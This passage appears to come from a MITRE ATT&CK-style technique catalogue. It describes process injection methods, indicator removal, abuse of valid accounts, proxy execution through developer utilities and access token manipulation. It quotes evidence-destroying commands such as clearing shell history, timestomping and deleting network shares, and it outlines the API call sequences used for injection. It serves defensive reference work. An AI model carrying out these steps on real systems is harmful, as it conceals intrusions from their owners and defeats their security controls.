PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017)

Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.

T1055.003 – Thread Execution Hijacking

Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.

Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point the process can be suspended then written to, realigned to the injected code, and resumed via <code>SuspendThread </code>, <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation: Elastic Process Injection July 2017)

This is very similar to Process Hollowing but targets an existing process rather than creating a process in a suspended state.

Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process.

T1055.004 – Asynchronous Procedure Call

Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process.

APC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process’s thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point <code>QueueUserAPC</code> can be used to invoke a function (such as <code>LoadLibrayA</code> pointing to a malicious DLL).

A variation of APC injection, dubbed “Early Bird injection”, involves creating a suspended process in which malicious code can be written and executed before the process’ entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)

Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process.

T1055.005 – Thread Local Storage

Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process.

TLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code’s legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process’ memory space using other Process Injection techniques such as Process Hollowing.(Citation: FireEye TLS Nov 2017)

Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process.

T1055.008 – Ptrace System Calls

Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.

Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: <code>malloc</code>) then invoking that memory with <code>PTRACE_SETREGS</code> to set the register containing the next instruction to execute. Ptrace system call injection can also be done with <code>PTRACE_POKETEXT</code>/<code>PTRACE_POKEDATA</code>, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018)

Ptrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject)

Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process.

T1055.009 – Proc Memory

Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process.

Proc memory injection involves enumerating the memory of a process via the /proc filesystem (<code>/proc/[pid]</code>) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes’ stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes’ memory map within <code>/proc/[pid]/maps</code> can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man)

Other techniques such as Dynamic Linker Hijacking may be used to populate a target process with more available gadgets. Similar to Process Hollowing, proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection)

Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process.

T1055.011 – Extra Window Memory Injection

Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.

Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)

Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.

Execution granted through EWM injection may allow access to both the target process’s memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code>.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)

Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process.

T1055.012 – Process Hollowing

Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.

Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as <code>CreateProcess</code>, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as <code>ZwUnmapViewOfSection</code> or <code>NtUnmapViewOfSection</code> before being written to, realigned to the injected code, and resumed via <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)

This is very similar to Thread Local Storage but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process.

T1055.013 – Process Doppelgänging

Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process.

Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)

Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)

Adversaries may abuse TxF to a perform a file-less variation of Process Injection. Similar to Process Hollowing, process doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelgänging’s use of TxF also avoids the use of highly-monitored API functions such as <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>, and <code>SetThreadContext</code>. (Citation: BlackHat Process Doppelgänging Dec 2017)

Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):

• Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
• Load – Create a shared section of memory and load the malicious executable.
• Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
• Animate – Create a process from the tainted section of memory and initiate execution.

This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked under a legitimate process.

T1055.014 – VDSO Hijacking

Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process.

VDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via Ptrace System Calls. However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process’ global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)

Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process.

T1055.015 – ListPlanting

Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process.(Citation: Hexacorn Listplanting) Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.

List-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application’s list-view settings are stored within the process’ memory in a <code>SysListView32</code> control.

ListPlanting (a form of message-passing “shatter attack”) may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process’ memory space, which can be performed various ways including by directly obtaining a handle to the <code>SysListView32</code> child of the victim process window (via Windows API calls such as <code>FindWindow</code> and/or <code>EnumWindows</code>) or other Process Injection methods.

Some variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored <code>WriteProcessMemory</code> function. For example, an adversary can use the <code>PostMessage</code> and/or <code>SendMessage</code> API functions to send <code>LVM_SETITEMPOSITION</code> and <code>LVM_GETITEMPOSITION</code> messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020)

Finally, the payload is triggered by sending the <code>LVM_SORTITEMS</code> message to the <code>SysListView32</code> child of the process window, with the payload within the newly allocated buffer passed and executed as the <code>ListView_SortItems</code> callback.

T1070 – Indicator Removal#

Adversaries may selectively delete or modify artifacts generated to reduce indications of their presence and blend in with legitimate activity. Rather than broadly removing evidence, adversaries may target specific artifacts that appear anomalous or are likely to draw scrutiny, while leaving sufficient data intact to maintain the appearance of normal system behavior.

Artifacts such as command histories, log entries, or file metadata may be altered in ways that align with expected user or system activity. Location, format, and type of artifact (such as command or login history) are often platform-specific, allowing adversaries to tailor modifications that minimize suspicion.

These actions may not prevent detection entirely but can delay recognition of malicious activity or reduce the fidelity of alerts by making events appear benign or consistent with routine operations. Additionally, selectively removed or modified artifacts may still be recoverable through deeper forensic analysis, though their absence or alteration can complicate timeline reconstruction and attribution.

T1070.003 – Clear Command History

In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they’ve done.

On Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user’s home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they’ve used before in different sessions. Adversaries may delete their commands from these logs by manually clearing the history (<code>history -c</code>) or deleting the bash history file <code>rm ~/.bash_history</code>.

Adversaries may also leverage a Network Device CLI on network devices to clear command history data (<code>clear logging</code> and/or <code>clear history</code>).(Citation: US-CERT-TA18-106A) On ESXi servers, command history may be manually removed from the /var/log/shell.log file.(Citation: Broadcom ESXi Shell Audit)

On Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the <code>PSReadLine</code> module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.

The <code>PSReadLine</code> command history tracks the commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt</code> by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)

Adversaries may run the PowerShell command <code>Clear-History</code> to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the <code>ConsoleHost_history.txt</code> file. Adversaries may also delete the <code>ConsoleHost_history.txt</code> file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)

T1070.004 – File Deletion

Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary’s footprint.

There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in Command and Scripting Interpreter functions include <code>del</code> on Windows, <code>rm</code> or <code>unlink</code> on Linux and macOS, and rm on ESXi.

T1070.005 – Network Share Connection Removal

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and SMB/Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the <code>net use \system\share /delete</code> command. (Citation: Technet Net Use)

T1070.006 – Timestomp

Adversaries may modify file time attributes to hide new files or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder and blend malicious files with legitimate files.

In Windows systems, both the $STANDARD_INFORMATION ($SI) and $FILE_NAME ($FN) attributes record times in a Master File Table (MFT) file.(Citation: Inversecos Timestomping 2022) $SI (dates/time stamps) is displayed to the end user, including in the File System view, while $FN is dealt with by the kernel.(Citation: Magnet Forensics)

Modifying the $SI attribute is the most common method of timestomping because it can be modified at the user level using API calls. $FN timestomping, however, typically requires interacting with the system kernel or moving or renaming a file.(Citation: Inversecos Timestomping 2022)

Adversaries modify timestamps on files so that they do not appear conspicuous to forensic investigators or file analysis tools. In order to evade detections that rely on identifying discrepancies between the $SI and $FN attributes, adversaries may also engage in “double timestomping” by modifying times on both attributes simultaneously.(Citation: Double Timestomping)

In Linux systems and on ESXi servers, threat actors may attempt to perform timestomping using commands such as touch -a -m -t <timestamp> <filename> (which sets access and modification times to a specific value) or touch -r <filename> <filename> (which sets access and modification times to match those of another file).(Citation: Inversecos Linux Timestomping)(Citation: Juniper Networks ESXi Backdoor 2022)

Timestomping may be used along with file name Masquerading to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)

T1070.007 – Clear Network Connection History and Configurations

Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as Remote Services or External Remote Services. Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.

Network connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under (Citation: Microsoft RDP Removal):

• <code>HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default</code>
• <code>HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers</code>

Windows may also store information about recent RDP connections in files such as <code>C:\Users\%username%\Documents\Default.rdp</code> and C:\Users\%username%\AppData\Local\Microsoft\Terminal Server Client\Cache\.(Citation: Moran RDPieces) Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in /Library/Logs and/or /var/log/).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)

Malicious network connections may also require changes to third-party applications or network configuration settings, such as Disable or Modify System Firewall or tampering to enable Proxy. Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis.

T1070.008 – Clear Mailbox Data

Adversaries may modify mail and mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests.

Adversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of Phishing/Internal Spearphishing, Email Collection, Mail Protocols for command and control, or email-based exfiltration such as Exfiltration Over Alternative Protocol. For example, to remove evidence on Exchange servers adversaries have used the <code>ExchangePowerShell</code> PowerShell module, including <code>Remove-MailboxExportRequest</code> to remove evidence of mailbox exports.(Citation: Volexity SolarWinds)(Citation: ExchangePowerShell Module) On Linux and macOS, adversaries may also delete emails through a command line utility called <code>mail</code> or use AppleScript to interact with APIs on macOS.(Citation: Cybereason Cobalt Kitty 2017)(Citation: mailx man page)

Adversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.(Citation: Microsoft OAuth Spam 2022)

T1070.009 – Clear Persistence

Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. This may involve various actions, such as removing services, deleting executables, Modify Registry, Plist File Modification, or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.(Citation: Cylance Dust Storm) Adversaries may also delete accounts previously created to maintain persistence (i.e. Create Account).(Citation: Talos - Cisco Attack 2022)

In some instances, artifacts of persistence may also be removed once an adversary’s persistence is executed in order to prevent errors with the new instance of the malware.(Citation: NCC Group Team9 June 2020)

T1070.010 – Relocate Malware

Once a payload is delivered, adversaries may reproduce copies of the same malware on the victim system to remove evidence of their presence and/or avoid defenses. Copying malware payloads to new locations may also be combined with File Deletion to cleanup older artifacts.

Relocating malware may be a part of many actions intended to evade defenses. For example, adversaries may copy and rename payloads to better blend into the local environment (i.e., Match Legitimate Resource Name or Location).(Citation: DFIR Report Trickbot June 2023) Payloads may also be repositioned to target File/Path Exclusions as well as specific locations associated with establishing Persistence.(Citation: Latrodectus APR 2024)

Relocating malicious payloads may also hinder defensive analysis, especially to separate these payloads from earlier events (such as User Execution and Phishing) that may have generated alerts or otherwise drawn attention from defenders. Moving payloads into target directories does not alter the Creation timestamp, thereby evading detection logic reliant on modifications to this artifact (i.e., Timestomp).

T1078 – Valid Accounts#

Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)

The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)

T1078.001 – Default Accounts

Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS, the root user account in ESXi, and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)

Default accounts are not limited to client machines; rather, they also include accounts that are preset for equipment such as network devices and computer applications, whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen Private Keys or credential materials to legitimately connect to remote environments via Remote Services.(Citation: Metasploit SSH Module)

Default accounts may be created on a system after initial setup by connecting or integrating it with another application. For example, when an ESXi server is connected to a vCenter server, a default privileged account called vpxuser is created on the ESXi server. If a threat actor is able to compromise this account’s credentials (for example, via Exploitation for Credential Access on the vCenter host), they will then have access to the ESXi server.(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023)(Citation: Pentera vCenter Information Disclosure)

T1078.002 – Domain Accounts

Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)

Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as OS Credential Dumping or password reuse, allowing access to privileged resources of the domain.

T1078.003 – Local Accounts

Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.

Local Accounts may also be abused to elevate privileges and harvest credentials through OS Credential Dumping. Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement.

T1078.004 – Cloud Accounts

Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud; alternatively, they may be hybrid-joined between on-premises systems and the cloud through syncing or federation with other identity sources such as Windows Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)

Service or user accounts may be targeted by adversaries through Brute Force, Phishing, or various other means to gain access to the environment. Federated or synced accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments - for example, by leveraging shared credentials to log onto Remote Services. High privileged cloud accounts, whether federated, synced, or cloud-only, may also allow pivoting to on-premises environments by leveraging SaaS-based Software Deployment Tools to run commands on hybrid-joined devices.

An adversary may create long lasting Additional Cloud Credentials on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication.

Cloud accounts may also be able to assume Temporary Elevated Cloud Access or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through Cloud API or other methods. For example, in Azure environments, adversaries may target Azure Managed Identities, which allow associated Azure resources to request access tokens. By compromising a resource with an attached Managed Identity, such as an Azure VM, adversaries may be able to Steal Application Access Tokens to move laterally across the cloud environment.(Citation: SpecterOps Managed Identity 2022)

T1127 – Trusted Developer Utilities Proxy Execution#

Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.

Smart App Control is a feature of Windows that blocks applications it considers potentially malicious from running by verifying unsigned applications against a known safe list from a Microsoft cloud service before executing them.(Citation: Microsoft Smart App Control) However, adversaries may leverage “reputation hijacking” to abuse an operating system’s trust of safe, signed applications that support the execution of arbitrary code. By leveraging Trusted Developer Utilities Proxy Execution to run their malicious code, adversaries may bypass Smart App Control protections.(Citation: Elastic Security Labs)

T1127.001 – MSBuild

Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)

Adversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)

T1127.002 – ClickOnce

Adversaries may use ClickOnce applications (.appref-ms and .application files) to proxy execution of code through a trusted Windows utility.(Citation: Burke/CISA ClickOnce BlackHat) ClickOnce is a deployment that enables a user to create self-updating Windows-based .NET applications (i.e, .XBAP, .EXE, or .DLL) that install and run from a file share or web page with minimal user interaction. The application launches as a child process of DFSVC.EXE, which is responsible for installing, launching, and updating the application.(Citation: SpectorOps Medium ClickOnce)

Because ClickOnce applications receive only limited permissions, they do not require administrative permissions to install.(Citation: Microsoft Learn ClickOnce) As such, adversaries may abuse ClickOnce to proxy execution of malicious code without needing to escalate privileges.

ClickOnce may be abused in a number of ways. For example, an adversary may rely on User Execution. When a user visits a malicious website, the .NET malware is disguised as legitimate software and a ClickOnce popup is displayed for installation.(Citation: NetSPI ClickOnce)

Adversaries may also abuse ClickOnce to execute malware via a Rundll32 script using the command rundll32.exe dfshim.dll,ShOpenVerbApplication1.(Citation: LOLBAS /Dfsvc.exe)

Additionally, an adversary can move the ClickOnce application file to a remote user’s startup folder for continued malicious code deployment (i.e., Registry Run Keys / Startup Folder).(Citation: Burke/CISA ClickOnce BlackHat)(Citation: Burke/CISA ClickOnce Paper)

T1127.003 – JamPlus

Adversaries may use JamPlus to proxy the execution of a malicious script. JamPlus is a build utility tool for code and data build systems. It works with several popular compilers and can be used for generating workspaces in code editors such as Visual Studio.(Citation: JamPlus manual)

Adversaries may abuse the JamPlus build utility to execute malicious scripts via a .jam file, which describes the build process and required dependencies. Because the malicious script is executed from a reputable developer tool, it may subvert application control security systems such as Smart App Control.(Citation: Cyble)(Citation: Elastic Security Labs)

T1134 – Access Token Manipulation#

Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.

An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. Token Impersonation/Theft) or used to spawn a new process (i.e. Create Process with Token). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)

Any standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.

T1134.001 – Token Impersonation/Theft

Adversaries may duplicate then impersonate another user’s existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using DuplicateToken or DuplicateTokenEx.(Citation: DuplicateToken function) The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user’s security context, or with SetThreadToken to assign the impersonated token to a thread.

An adversary may perform Token Impersonation/Theft when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.

When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally Create Process with Token using CreateProcessWithTokenW or CreateProcessAsUserW. Token Impersonation/Theft is also distinct from Make and Impersonate Token in that it refers to duplicating an existing token, rather than creating a new one.

T1134.002 – Create Process with Token

Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as <code>CreateProcessWithTokenW</code> and <code>runas</code>.(Citation: Microsoft RunAs)

Creating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via Token Impersonation/Theft or created via Make and Impersonate Token before being used to create a process.

While this technique is distinct from Token Impersonation/Theft, the techniques can be used in conjunction where a token is duplicated and then used to create a new process.

T1134.003 – Make and Impersonate Token

Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the LogonUser function.(Citation: LogonUserW function) The function will return a copy of the new session’s access token and the adversary can use SetThreadToken to assign the token to a thread.

This behavior is distinct from Token Impersonation/Theft in that this refers to creating a new user token instead of stealing or duplicating an existing one.

T1134.004 – Parent PID Spoofing

Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)

